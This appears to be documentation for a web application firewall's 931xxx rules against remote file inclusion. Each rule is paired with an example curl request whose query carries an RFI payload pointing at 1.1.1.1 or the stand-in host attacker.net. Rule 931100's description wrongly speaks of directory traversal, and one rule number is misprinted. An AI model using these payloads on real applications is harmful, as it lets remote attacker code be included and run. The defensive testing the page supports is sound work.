Skip to main content

Core Ruleset: 931xxx

Rules with the 931xxx prefix protect web applications from remote file inclusion attempts that can be made by attackers.

Paranoia Level 1 (default)

Rule: 931100

Protects web applications from directory traversal attacks. This will inspect request args, headers and files to ensure that no directory traversal attempts are made by the client.

Message: Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address

Example:

curl --request GET \
--url 'http://localhost:8088/?q=https%3A%2F%2F1.1.1.1%2Findex.php'
Rule: 931110

Prevents the use of include statements in a request payload.

Message: Possible Remote File Inclusion (RFI) Attack: Common RFI Vulnerable Parameter Name used w/URL Payload

Example:

curl --request GET \
--url 'http://localhost:8088/?q=include(%22ftp%3A%2F%2F1.1.1.1%2Ftest.php%22)'
Rule: 931120

Restricts the use of file protocols with a dangling question mark. This can be used by an attacker to trick a web server into including a file from a remote location.

Message: Possible Remote File Inclusion (RFI) Attack: URL Payload Used w/Trailing Question Mark Character (?)

Example:

curl --request GET \
--url 'http://localhost:8088/?q=https%3A%2F%2Fattacker.net%2Ftest.php%3F'

Paranoia Level 2

Rule: 93113 0

Some application packages will implicitly interpret url:file:// as a local address and include them without checking existence locally.

Message: Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link

Example:

curl --request GET \
--url 'http://localhost:8088/?q=uri%3Ahttps%3A%2F%2Fattacker.net%2Ffile.jar'

Paranoia Level 3

This module does not define checks for paranoia level 3.

Paranoia Level 4

This module does not define checks for paranoia level 4.